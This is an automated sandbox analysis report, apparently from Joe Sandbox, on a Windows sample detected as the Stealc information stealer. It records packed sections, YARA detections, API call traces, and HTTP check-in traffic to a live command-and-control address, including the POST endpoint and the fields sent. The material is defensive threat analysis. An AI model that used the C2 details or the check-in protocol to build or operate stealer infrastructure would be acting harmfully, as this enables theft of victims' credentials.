[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	8180d348fc65ce3d7e9667ca34585f98	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a2000	0x200	b20b5893325b260d5d3b4d1a5a8c9d33	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pngrdmjc	0x58c000	0x19d000	0x19d000	d81d90d1c4e281ca410950ca3c3a37fe	False	0.9948482190148306	data	7.954059583965191	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vsguhmza	0x729000	0x1000	0x400	505772e8ff7769d18ec4e93c73d7eaac	False	0.6884765625	data	5.549866959200988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x72a000	0x3000	0x2200	2f1afc8d24fe62afa59d37f2012419ed	False	0.06893382352941177	DOS executable (COM)	0.8455461705730766	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T09:24:20.252534+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49729	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 09:24:19.047369957 CET	49729	80	192.168.2.4	185.215.113.206
Oct 28, 2024 09:24:19.052855015 CET	80	49729	185.215.113.206	192.168.2.4
Oct 28, 2024 09:24:19.052966118 CET	49729	80	192.168.2.4	185.215.113.206
Oct 28, 2024 09:24:19.053107023 CET	49729	80	192.168.2.4	185.215.113.206
Oct 28, 2024 09:24:19.058408976 CET	80	49729	185.215.113.206	192.168.2.4
Oct 28, 2024 09:24:19.964807034 CET	80	49729	185.215.113.206	192.168.2.4
Oct 28, 2024 09:24:19.964886904 CET	49729	80	192.168.2.4	185.215.113.206
Oct 28, 2024 09:24:19.967348099 CET	49729	80	192.168.2.4	185.215.113.206
Oct 28, 2024 09:24:19.972740889 CET	80	49729	185.215.113.206	192.168.2.4
Oct 28, 2024 09:24:20.252351046 CET	80	49729	185.215.113.206	192.168.2.4
Oct 28, 2024 09:24:20.252533913 CET	49729	80	192.168.2.4	185.215.113.206
Oct 28, 2024 09:24:23.426172972 CET	49729	80	192.168.2.4	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	185.215.113.206	80	6828	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 09:24:19.053107023 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 09:24:19.964807034 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 08:24:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 09:24:19.967348099 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 33 31 41 31 33 43 41 43 34 33 33 34 33 30 33 37 33 35 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="hwid"C131A13CAC433430373531------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="build"tale------HDBGHDHCGHCAAKEBKECB--
Oct 28, 2024 09:24:20.252351046 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 08:24:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	04:24:16
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd30000
File size:	2'129'920 bytes
MD5 hash:	F522FE27067DAEA4F7987BF85EC1E287
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1721174254.0000000005370000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	1327
Total number of Limit Nodes:	24

Executed Functions

Function 00D49BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01672218), ref: 00D49BF1
GetProcAddress.KERNEL32(74DD0000,01672368), ref: 00D49C0A
GetProcAddress.KERNEL32(74DD0000,016723F8), ref: 00D49C22
GetProcAddress.KERNEL32(74DD0000,016723C8), ref: 00D49C3A
GetProcAddress.KERNEL32(74DD0000,016723E0), ref: 00D49C53
GetProcAddress.KERNEL32(74DD0000,016791C8), ref: 00D49C6B
GetProcAddress.KERNEL32(74DD0000,01665890), ref: 00D49C83
GetProcAddress.KERNEL32(74DD0000,01665790), ref: 00D49C9C
GetProcAddress.KERNEL32(74DD0000,016722D8), ref: 00D49CB4
GetProcAddress.KERNEL32(74DD0000,01672440), ref: 00D49CCC
GetProcAddress.KERNEL32(74DD0000,01672470), ref: 00D49CE5
GetProcAddress.KERNEL32(74DD0000,01672338), ref: 00D49CFD
GetProcAddress.KERNEL32(74DD0000,016656B0), ref: 00D49D15
GetProcAddress.KERNEL32(74DD0000,01672230), ref: 00D49D2E
GetProcAddress.KERNEL32(74DD0000,01672248), ref: 00D49D46
GetProcAddress.KERNEL32(74DD0000,01665950), ref: 00D49D5E
GetProcAddress.KERNEL32(74DD0000,01672260), ref: 00D49D77
GetProcAddress.KERNEL32(74DD0000,01672290), ref: 00D49D8F
GetProcAddress.KERNEL32(74DD0000,016657F0), ref: 00D49DA7
GetProcAddress.KERNEL32(74DD0000,016722A8), ref: 00D49DC0
GetProcAddress.KERNEL32(74DD0000,01665910), ref: 00D49DD8
LoadLibraryA.KERNEL32(01672578,?,00D46CA0), ref: 00D49DEA
LoadLibraryA.KERNEL32(01672518,?,00D46CA0), ref: 00D49DFB
LoadLibraryA.KERNEL32(01672530,?,00D46CA0), ref: 00D49E0D
LoadLibraryA.KERNEL32(01672590,?,00D46CA0), ref: 00D49E1F
LoadLibraryA.KERNEL32(01672548,?,00D46CA0), ref: 00D49E30
GetProcAddress.KERNEL32(75A70000,016725A8), ref: 00D49E52
GetProcAddress.KERNEL32(75290000,016725C0), ref: 00D49E73
GetProcAddress.KERNEL32(75290000,016725D8), ref: 00D49E8B
GetProcAddress.KERNEL32(75BD0000,01672560), ref: 00D49EAD
GetProcAddress.KERNEL32(75450000,016657B0), ref: 00D49ECE
GetProcAddress.KERNEL32(76E90000,01679178), ref: 00D49EEF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00D49F06

Strings

NtQueryInformationProcess, xrefs: 00D49EFA

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 41aff88a6d72b5f4d66724fffce69c951c30601a713e4854ccab41ec01ac90cb
Instruction ID: 38c5c7e266c895d80200b1628adb712535aa6ebe5f28b52dc9c1e41c9f24e335
Opcode Fuzzy Hash: 41aff88a6d72b5f4d66724fffce69c951c30601a713e4854ccab41ec01ac90cb
Instruction Fuzzy Hash: E8A122B5500240DFC366DFA9E89899677BAA74D701F10861AB9C9C3298D73FB950CFB0

Function 00D34610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00D3465E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00D347EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D347C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D347B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D347CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D347AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346FC

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 90f562a4c8f0bafb1e15398973944ed5c9fdd86e39f1495f7419d616b5ab9cb5
Instruction ID: 8c7c6a08b50dbec788d338e4285b23facde6a9a1316dadf5567027f4b6282289
Opcode Fuzzy Hash: 90f562a4c8f0bafb1e15398973944ed5c9fdd86e39f1495f7419d616b5ab9cb5
Instruction Fuzzy Hash: 7F412D686C3615EFCB39BBA8BC52FDD76635F53782F40504CBF2812284CAB0650C49BA

Function 00D362D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D34800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34889
Part of subcall function 00D34800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34899

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

InternetOpenA.WININET(00D50DFF,00000001,00000000,00000000,00000000), ref: 00D36331
StrCmpCA.SHLWAPI(?,0167E7D8), ref: 00D36353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D36385
HttpOpenRequestA.WININET(00000000,GET,?,0167E3F8,00000000,00000000,00400100,00000000), ref: 00D363D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D3640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D36421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00D3644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D364BD
InternetCloseHandle.WININET(00000000), ref: 00D3653F
InternetCloseHandle.WININET(00000000), ref: 00D36549
InternetCloseHandle.WININET(00000000), ref: 00D36553

Strings

GET, xrefs: 00D363CC
ERROR, xrefs: 00D36519
ERROR, xrefs: 00D36457

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 2c431fc47d1f9f143c6809085817432ea509640ed74c995adc947b5bb4bd2712
Instruction ID: 957461aa91c37f7d901a39d4f773a1a4353301619d76ac742e9e84b3c2585765
Opcode Fuzzy Hash: 2c431fc47d1f9f143c6809085817432ea509640ed74c995adc947b5bb4bd2712
Instruction Fuzzy Hash: F5715E71A40218ABEF24DFA4CC59FEE7775EB44700F1081A9F50A6B1C4DBB5AA84CF61

Function 00D47690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D476D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D4770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47793
RtlAllocateHeap.NTDLL(00000000), ref: 00D4779A
wsprintfA.USER32 ref: 00D477D0

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Strings

\, xrefs: 00D476F0
:, xrefs: 00D476EC
C, xrefs: 00D476DC

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
